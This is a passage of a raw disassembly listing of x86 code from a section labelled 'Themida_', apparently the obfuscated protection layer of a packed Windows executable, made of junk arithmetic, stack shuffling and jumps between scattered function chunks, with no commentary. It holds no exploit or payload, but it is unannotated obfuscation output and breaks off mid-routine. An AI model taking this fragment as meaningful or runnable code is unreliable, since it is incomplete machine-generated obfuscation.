loc_59456C: ; CODE XREF: Themida_:005A0CDCj
mov [esp], ebx
jmp loc_5A4EBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_594574: ; CODE XREF: sub_59E918+15DFj
push edx
mov dh, 0EBh
sub dh, 83h
add al, dh
jmp loc_59D2E8
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_594581: ; CODE XREF: Themida_:005A3706j
pop ecx
jmp loc_5A20B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594587: ; CODE XREF: sub_59390B+862j
xor bl, al
movzx eax, al
jmp loc_59F9C2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_594591: ; CODE XREF: sub_59886E+936Dj
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
jmp loc_5977F6
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5945A2: ; CODE XREF: sub_59390B+DD05j
add esi, 4
jmp loc_5914FC
; ---------------------------------------------------------------------------
loc_5945AD: ; CODE XREF: sub_59390B+122D7j
pop esi
xor esi, 769F07AAh
not esi
add esi, 756076FFh
jmp loc_5A019A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5945C1: ; CODE XREF: sub_5A51EA-10723j
neg bh
shl bh, 2
shr bh, 1
sub bh, 0D9h
add al, 0CFh
sub al, bh
jmp loc_5A2081
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_5945D4: ; CODE XREF: Themida_:00597D91j
push ecx
jmp loc_591A48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F121
loc_5945DA: ; CODE XREF: sub_59F121+6j
push eax
mov eax, 7FDF2883h
jmp loc_594CBE
; END OF FUNCTION CHUNK FOR sub_59F121
; ---------------------------------------------------------------------------
loc_5945E5: ; CODE XREF: Themida_:00596ABCj
not esi
neg esi
xor esi, 3C63E36h
sub ebx, esi
jmp loc_595A4B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5945F6: ; CODE XREF: sub_59CFD4+3j
mov [esp+4+var_4], ebx
add [esp+4+var_4], 7EA57992h
mov edi, [esp+4+var_4]
add esp, 4
jmp loc_5A58C6
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_59460B: ; CODE XREF: sub_59F8C2-3AB9j
add ebx, esi
jmp loc_59DF78
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
lodsb
push edx
mov dh, 9Ch
neg dh
shr dh, 1
push small 70CDh
mov [esp], cx
push ebx
mov bl, 1Bh
mov ch, bl
jmp loc_598110
; ---------------------------------------------------------------------------
loc_59462C: ; CODE XREF: Themida_:00591F4Dj
xor [esp], eax
xchg eax, edx
jmp loc_597EB7
; ---------------------------------------------------------------------------
loc_594635: ; CODE XREF: Themida_:00594B01j
mov ebp, 6C6658E6h
shr ebp, 6
shr ebp, 7
jmp loc_5977B8
; ---------------------------------------------------------------------------
loc_594645: ; CODE XREF: Themida_:005A045Ej
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594653: ; CODE XREF: sub_59390B+121E7j
sub eax, 0F9D495F4h
add esi, eax
pop eax
sub ebp, 31EA1322h
add ebp, esi
add ebp, 31EA1322h
pop esi
push 1741h
mov [esp-8+arg_0], esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5932BA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594685: ; CODE XREF: Themida_:00596C54j
push esp
pop edx
jmp loc_59720B
; ---------------------------------------------------------------------------
loc_59468C: ; CODE XREF: Themida_:005A3409j
sub esp, 4
mov [esp], esi
sub esp, 4
push esp
jmp loc_5982A4
; ---------------------------------------------------------------------------
loc_5946A1: ; CODE XREF: Themida_:0059EE67j
add esi, 4
sub esi, 4
jmp loc_5973D5
; ---------------------------------------------------------------------------
loc_5946B2: ; CODE XREF: Themida_:0059491Bj
xor edx, 649123C8h
mov ebp, [esp]
jmp loc_595852
; ---------------------------------------------------------------------------
loc_5946C0: ; CODE XREF: Themida_:0059F5A6j
sub dword ptr [esp+4], 1FF568CBh
add [esp+4], edx
add dword ptr [esp+4], 1FF568CBh
sub dword ptr [esp+4], 1760DE9h
add dword ptr [esp+4], 48906E4Ah
pop edx
add dword ptr [esp], 7E1E16E7h
push 6C6Ch
mov [esp], esi
mov esi, 4F912CFFh
neg esi
jmp loc_59C338
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_594700: ; CODE XREF: sub_59FCCB-6F5Cj
sub ah, 77h
sub ah, 0BBh
add ah, 1Fh
and dl, ah
pop eax
add dl, 77h
jmp loc_5A1334
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_594714: ; CODE XREF: sub_59A75E+7568j
mov esp, [esp+0]
jmp loc_5A46A2
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_59471C: ; CODE XREF: Themida_:005A0405j
dec esi
shr esi, 1
neg esi
push ebp
mov ebp, 4A5917EAh
neg ebp
shl ebp, 1
dec ebp
add ebp, 71A767C5h
add ebp, 42EAE2C7h
add esi, ebp
pop ebp
add eax, esi
jmp loc_59865F
; ---------------------------------------------------------------------------
loc_594742: ; CODE XREF: Themida_:005954E3j
add edi, edx
sub edi, 2C4A654Ch
jmp loc_5A5406
; ---------------------------------------------------------------------------
loc_59474F: ; CODE XREF: Themida_:0059EAD5j
mov edi, 4
add eax, edi
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_595343
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594766: ; CODE XREF: sub_59390B-14BDj
add ebx, 5B4847D8h
movzx ax, byte ptr [eax]
push 428Ah
mov [esp-1Ah+arg_10+2], ebp
push 6A33h
mov [esp-16h+arg_C+2], esp
push edi
mov edi, 4
add [esp-12h+arg_C+2], edi
pop edi
mov ebp, [esp-16h+arg_C+2]
add esp, 4
push 4F01h
mov [esp-16h+arg_C+2], ebx
push edi
mov edi, 4
mov ebx, edi
pop edi
add ebp, 0CB37EA6h
add ebp, ebx
sub ebp, 0CB37EA6h
mov ebx, [esp-16h+arg_C+2]
add esp, 4
sub esp, 4
mov [esp-16h+arg_C+2], esi
push edi
mov edi, 7778115Bh
jmp loc_599617
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_5947CA proc near ; CODE XREF: sub_59390B+E260j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005914D6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059F395 SIZE 00000020 BYTES
push ebp
mov ebp, 6F973F6Ch
add ebp, 16E019D5h
sub ebp, 84F14A76h
xor eax, ebp
pop ebp
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_59F395
sub_5947CA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_5947EA: ; CODE XREF: sub_5964B7+1A79j
xor ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp+0], ax
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5947F9: ; CODE XREF: sub_59390B-27F5j
push esi
sub esp, 4
mov [esp+10h+var_10], ecx
push esp
jmp loc_5A564E
; ---------------------------------------------------------------------------
loc_594809: ; CODE XREF: sub_59390B+632Bj
push ecx
mov ecx, 4
mov esi, ecx
jmp loc_592906
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5933BB
loc_594816: ; CODE XREF: sub_5933BB+5BD5j
mov edx, 4A3A762Eh
mov eax, edx
pop edx
jmp loc_5A51F4
; END OF FUNCTION CHUNK FOR sub_5933BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594823: ; CODE XREF: sub_59390B+11C31j
sub ebp, 81A5D50h
add ebp, ebx
add ebp, 81A5D50h
add ebp, 2ECB123Ch
pop ebx
push edx
mov edx, 4
sub ebp, edx
pop edx
xor ebp, [esp+14h+var_14]
jmp loc_59BC94
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594849: ; CODE XREF: Themida_:0059B9D8j
xor esi, [esp]
pop esp
mov [esp], esi
push 2ADDh
mov [esp], edi
push 39EB054Dh
push dword ptr [esp]
pop edi
add esp, 4
push 4DD5h
mov [esp], ebp
push 321Ch
mov [esp], ebx
jmp loc_5961FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594879: ; CODE XREF: sub_59390B+921Cj
push edi
mov edi, 69A90DCDh
shr edi, 1
sub edi, 772F052Fh
add edi, 65D05E5Ah
xor edi, 0A64FF36h
sub ecx, edi
pop edi
pop edi
add edi, ecx
pop ecx
pop ebx
xchg edi, [esp+8+var_8]
mov esp, [esp+8+var_8]
sub esp, 4
mov [esp+0Ch+var_C], edi
mov edi, esp
jmp loc_59AC61
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5948B1: ; CODE XREF: Themida_:005A3022j
sub esi, edx
push ebx
mov ebx, 375F06A3h
add esi, ebx
pop ebx
pop edx
sub esp, 4
mov [esp], esi
jmp loc_5A491A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5948CB: ; CODE XREF: sub_59390B+FEE8j
neg ecx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+10h+var_10]
pop esp
mov [esp+0Ch+var_C], eax
mov eax, 71AB7BEEh
neg eax
add eax, 1711EE2h
sub eax, 21472459h
xor eax, 0D28F972Dh
sub ecx, eax
pop eax
mov edi, ecx
jmp loc_5A267F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_594903: ; CODE XREF: sub_5964B7+C8C1j
add ebp, 4
push ebx
mov ebx, 60802BABh
jmp loc_597F18
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
loc_594914: ; CODE XREF: Themida_:0059D0E4j
pop esi
xor [esp+4], eax
pop eax
pop edx
jmp loc_5946B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_594920: ; CODE XREF: sub_59F8C2-1E21j
mov [esp+0], eax
mov eax, 1
and ecx, eax
jmp loc_5A5A94
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_59492F: ; CODE XREF: sub_59AB43+201Ej
xor eax, 213FFF6Ah
add edi, eax
pop eax
xchg edi, [esp-0Ch+arg_8]
pop esp
or eax, eax
jnz loc_5A15E6
sub esp, 4
mov [esp-0Ch+arg_8], eax
mov eax, 55F61284h
mov edx, 210F384Fh
xor edx, eax
pop eax
sub esp, 4
mov [esp-0Ch+arg_8], edi
mov edi, 4CF13745h
xchg esi, edi
dec esi
xchg esi, edi
sub edi, 0B76C301h
jmp loc_597595
; ---------------------------------------------------------------------------
loc_594971: ; CODE XREF: sub_59AB43-35A9j
add esp, 4
jmp loc_590AD4
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591D35
loc_59497C: ; CODE XREF: sub_591D35+13j
push eax
mov eax, 4
jmp sub_59731A
; END OF FUNCTION CHUNK FOR sub_591D35
; ---------------------------------------------------------------------------
loc_594987: ; CODE XREF: Themida_:005A33C0j
mov ecx, 4
add [esp+4], ecx
pop ecx
pop edx
add edx, 4
push 2316h
mov [esp], ecx
mov ecx, 4
jmp loc_59B86B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5949AA: ; CODE XREF: sub_5932F7+11232j
inc ebx
jmp loc_5A3DF1
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
loc_5949B0: ; CODE XREF: Themida_:0059DE1Ej
shl dword ptr [esp], cl
jmp loc_595C30
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5949B8: ; CODE XREF: sub_59A431+6949j
pop ebx
xchg eax, [esp+0Ch+var_C]
pop esp
jmp loc_590E43
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5949C2: ; CODE XREF: sub_59390B+E549j
pop ebp
push ebx
jmp loc_5A552D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_5949C9: ; CODE XREF: sub_5A3536-A4FFj
mov ebx, 2EDA37B7h
push 0F15h
mov [esp+0Ch+var_C], edi
mov edi, 1F437523h
and edi, 135B18E6h
sub edi, 0BE00C75h
dec edi
push 6F29h
mov [esp+10h+var_10], ebp
mov ebp, 321B0A0Bh
sub ebp, 19E25125h
add ebp, 47081745h
jmp loc_595B3E
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_594A06: ; CODE XREF: sub_5964B7+1A87j
sub [esp+10h+var_8], eax
sub [esp+10h+var_8], 5E6C39B5h
pop eax
mov esi, [esp+0Ch+var_C]
push ebx
push esp
pop ebx
push esi
mov esi, 4
add ebx, esi
jmp loc_592D5F
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594A26: ; CODE XREF: sub_59390B-9E1j
add edi, ecx
pop ecx
push edi
push [esp-14h+arg_10]
pop edi
pop [esp-14h+arg_C]
pop esp
push edx
push 6F6Bh
mov [esp-14h+arg_C], eax
mov eax, 312615ABh
push edi
mov edi, 2B1195h
jmp loc_594C9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_594A4C: ; CODE XREF: sub_5A3F6E-79Cj
pop edi
push 36Fh
mov [esp+0], ecx
push [esp+arg_0]
pop ecx
jmp loc_5A574A
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_594A5F: ; CODE XREF: sub_591FE1+2FDCj
add ebp, 4
xchg ebp, [esp+8+var_8]
jmp loc_5936DF
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_594A6A: ; CODE XREF: sub_59333E+B234j
mov edx, 5BCC0A8Eh
or edx, 3E8217Fh
or edx, 14A844AFh
sub esp, 4
mov [esp+10h+var_10], eax
mov eax, 7BD15976h
not eax
jmp loc_5921D5
; END OF FUNCTION CHUNK FOR sub_59333E
; =============== S U B R O U T I N E =======================================
sub_594A8D proc near ; CODE XREF: sub_59390B+2DFj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591367 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591854 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591BEC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592A61 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00595283 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005978DC SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00597E88 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00599651 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599877 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A3DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A757 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B2CB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059B641 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059C78D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D1BE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A0E7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A32D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3758 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A3D33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4182 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A5373 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A5792 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005A596B SIZE 0000002A BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 74405774h
xor ebx, 4124273Bh
jmp loc_595283
sub_594A8D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_594AA6: ; CODE XREF: sub_5A0060-12FBj
mov [esp+0], ebx
mov ebx, 46B557A6h
add edx, ebx
pop ebx
jmp loc_5A58A4
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_594AB6: ; CODE XREF: sub_59FCCB+F6Fj
mov cl, 0BAh
jmp loc_59CD91
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_594ABD: ; CODE XREF: sub_5A51EA-3A30j
add al, 37h
add al, cl
push ebx
mov bh, 0C1h
xor bh, 0B9h
jmp loc_5945C1
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_594ACC: ; CODE XREF: Themida_:0059F8B5j
mov esi, 3BD437B0h
add [esp+8], esi
mov esi, [esp]
add esp, 4
add [esp+4], ecx
push edx
jmp loc_596E15
; ---------------------------------------------------------------------------
loc_594AE5: ; CODE XREF: Themida_:005A0351j
add ecx, 4
push ebx
mov ebx, 7C0A114Bh
sub ebx, 5896h
push 0
sub [esp], ebx
pop ebx
push ebp
jmp loc_594635
; ---------------------------------------------------------------------------
loc_594B06: ; CODE XREF: Themida_:005918F6j
push edx
jmp loc_59D610
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_594B0C: ; CODE XREF: sub_59E918-1245j
sub dl, 6Eh
sub dl, 4Ah
dec dl
jmp loc_5A2606
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_594B19: ; CODE XREF: Themida_:0059A89Fj
add esp, 4
push edi
push 4E5D3678h
jmp loc_59D243
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A905
loc_594B27: ; CODE XREF: sub_59A905+3CEBj
sub edi, 483B334Ah
add edi, ecx
add edi, 483B334Ah
pop ecx
jmp loc_59AD9A
; END OF FUNCTION CHUNK FOR sub_59A905
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
jmp loc_594C1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_594B44: ; CODE XREF: sub_5995FC+B188j
push edx
jmp loc_59D53C
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
loc_594B4A: ; CODE XREF: Themida_:005A5BA2j
mov ebx, [esp]
jmp loc_5A18C5
; ---------------------------------------------------------------------------
loc_594B52: ; CODE XREF: Themida_:005A350Aj
mov ebx, [esp]
add esp, 4
shl edi, 3
shl edi, 5
and edi, 102F26D0h
and edi, 144B4852h
push ecx
push ebx
push 20B526A9h
pop ebx
jmp loc_5961BE
; ---------------------------------------------------------------------------
loc_594B7A: ; CODE XREF: Themida_:0059306Bj
pop esi
sub ebp, 4
jmp loc_59C74A
; ---------------------------------------------------------------------------
loc_594B83: ; CODE XREF: Themida_:0059FF39j
inc esi
add esi, 171350C4h
xor esi, 7C4C5FF7h
jmp loc_5A54B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594B95: ; CODE XREF: sub_59390B+978Bj
xor [esp-10h+arg_8], ecx
xor ecx, [esp-10h+arg_8]
jmp loc_5936C2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594BA0: ; CODE XREF: Themida_:0059999Fj
or eax, 4AC40A32h
jmp loc_59A2ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594BAA: ; CODE XREF: sub_59390B+F8ABj
mov [esp-10h+arg_8], edi
mov edi, 5D77458Ch
shl edi, 7
sub edi, 0A10BDEA5h
add edx, edi
pop edi
mov edi, edx
pop edx
inc edi
and edi, 1BB06F24h
jmp loc_59114F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594BCD: ; CODE XREF: Themida_:0059815Ej
add esp, 4
jmp loc_59BC73
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_591988
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_594BE0: ; CODE XREF: sub_59CFD4+8881j
and edx, 0C505657h
add edx, 3B122C9Bh
jmp loc_5969B6
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_594BF1: ; CODE XREF: Themida_:00597FD0j
add edx, 713F4745h
add edi, 58F05456h
sub edi, edx
sub edi, 58F05456h
jmp loc_592F12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594C0A: ; CODE XREF: sub_59390B+DE55j
add esi, 72C50199h
xor esi, 2E4F0425h
jmp loc_59E2A7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594C1B: ; CODE XREF: Themida_:00594B3Fj
push small 334Ah
jmp loc_590C0F
; =============== S U B R O U T I N E =======================================
sub_594C24 proc near ; CODE XREF: sub_5964AF+4CB4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005931E1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059A9CE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E6D7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F87C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2F09 SIZE 0000001B BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
jmp loc_59E6D7
sub_594C24 endp
; ---------------------------------------------------------------------------
loc_594C31: ; CODE XREF: Themida_:00599FD3j
add ecx, 0DA9CF3E4h
push esi
mov esi, 7E282D6Ch
dec esi
not esi
or esi, 64A33C2Fh
jmp loc_591651
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594C4B: ; CODE XREF: sub_59390B+1437j
pop esi
push edx
jmp loc_59BDEE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594C52: ; CODE XREF: Themida_:0059516Dj
mov [esp], ebx
push 6B56h
jmp loc_590E75
; ---------------------------------------------------------------------------
loc_594C5F: ; CODE XREF: Themida_:00592166j
push dword ptr [esp]
pop ecx
add esp, 4
shr ecx, 1
shr ecx, 6
jmp loc_5918FB
; ---------------------------------------------------------------------------
loc_594C73: ; CODE XREF: Themida_:005A09F8j
mov ebp, 0F2542A7h
jmp loc_59351B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_594C7D: ; CODE XREF: sub_59E918+6611j
pop ecx
sub al, 8Fh
add al, cl
add al, 8Fh
push ebx
mov bl, 7Bh
inc bl
push cx
mov ch, 34h
jmp loc_59F51D
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_594C92: ; CODE XREF: sub_59654E+Ej
pop ebp
xchg ecx, [esp+0]
jmp loc_596E00
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594C9B: ; CODE XREF: sub_59390B+113Cj
or eax, edi
pop edi
jmp loc_593320
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_594CA3: ; CODE XREF: sub_59FD45-44AAj
and eax, ebp
push [esp+4+var_4]
push [esp+8+var_8]
pop ebp
push ebx
mov ebx, esp
jmp loc_5A1B70
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_594CB4: ; CODE XREF: Themida_:00597AB6j
mov ebx, 4
jmp loc_59658F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F121
loc_594CBE: ; CODE XREF: sub_59F121-AB41j
sub ebx, eax
pop eax
jmp loc_5A367B
; END OF FUNCTION CHUNK FOR sub_59F121
; ---------------------------------------------------------------------------
loc_594CC6: ; CODE XREF: Themida_:0059BEDBj
mov edx, [esp]
add esp, 4
push esi
jmp loc_59DE10
; ---------------------------------------------------------------------------
loc_594CD2: ; CODE XREF: Themida_:00597DC3j
add ebx, esi
jmp loc_5A4ED8
; ---------------------------------------------------------------------------
off_594CD9 dd offset dword_555548+220h ; DATA XREF: Themida_:005907E4o
align 2
mov [esp], edx
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594CE6: ; CODE XREF: sub_59390B-839j
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp+0]
jmp loc_59E5FC
; ---------------------------------------------------------------------------
loc_594CF4: ; CODE XREF: sub_59390B+A23j
mov ax, word ptr [esp+12h+var_14+2]
add esp, 2
shr dl, 3
push eax
mov al, 61h
sub al, 0D1h
jmp loc_5A1A20
; ---------------------------------------------------------------------------
loc_594D08: ; CODE XREF: sub_59390B+18DCj
mov word ptr [esp+12h+var_14+2], bx
mov bh, 0B9h
jmp loc_59DE7A
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_594D13 proc near ; CODE XREF: sub_59390B+DE75j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0059145E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594E78 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059537B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059551F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005969FF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599E62 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059C086 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059C7DE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059CEF4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D2EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059EA0B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0568 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A0925 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A12A7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A12D0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A2A91 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3A75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A49CF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5613 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A5BA7 SIZE 00000016 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_59CEF4
sub_594D13 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594D1E: ; CODE XREF: sub_59390B+1053Aj
pop ebx
mov dh, al
jmp loc_5A105C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A958
loc_594D26: ; CODE XREF: sub_59A958+23BFj
add esi, 49F94ABAh
jmp loc_598A09
; END OF FUNCTION CHUNK FOR sub_59A958
; ---------------------------------------------------------------------------
loc_594D31: ; CODE XREF: Themida_:005955C2j
mov eax, 63704392h
jmp loc_590CBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594D3B: ; CODE XREF: sub_59390B+1AA7j
pop esp
push esi
push 7A361320h
jmp loc_594C4B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_594D47: ; CODE XREF: Themida_:0059526Bj
xor ebp, 59A227D6h
mov eax, ebp
pop ebp
add eax, 1
push eax
not dword ptr [esp]
pop eax
jmp loc_59A723
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_594D5D: ; CODE XREF: sub_59390B+7D0j
mov [esp+10h+var_10], ecx
push [esp+10h+var_C]
pop ecx
pop [esp+10h+var_10]
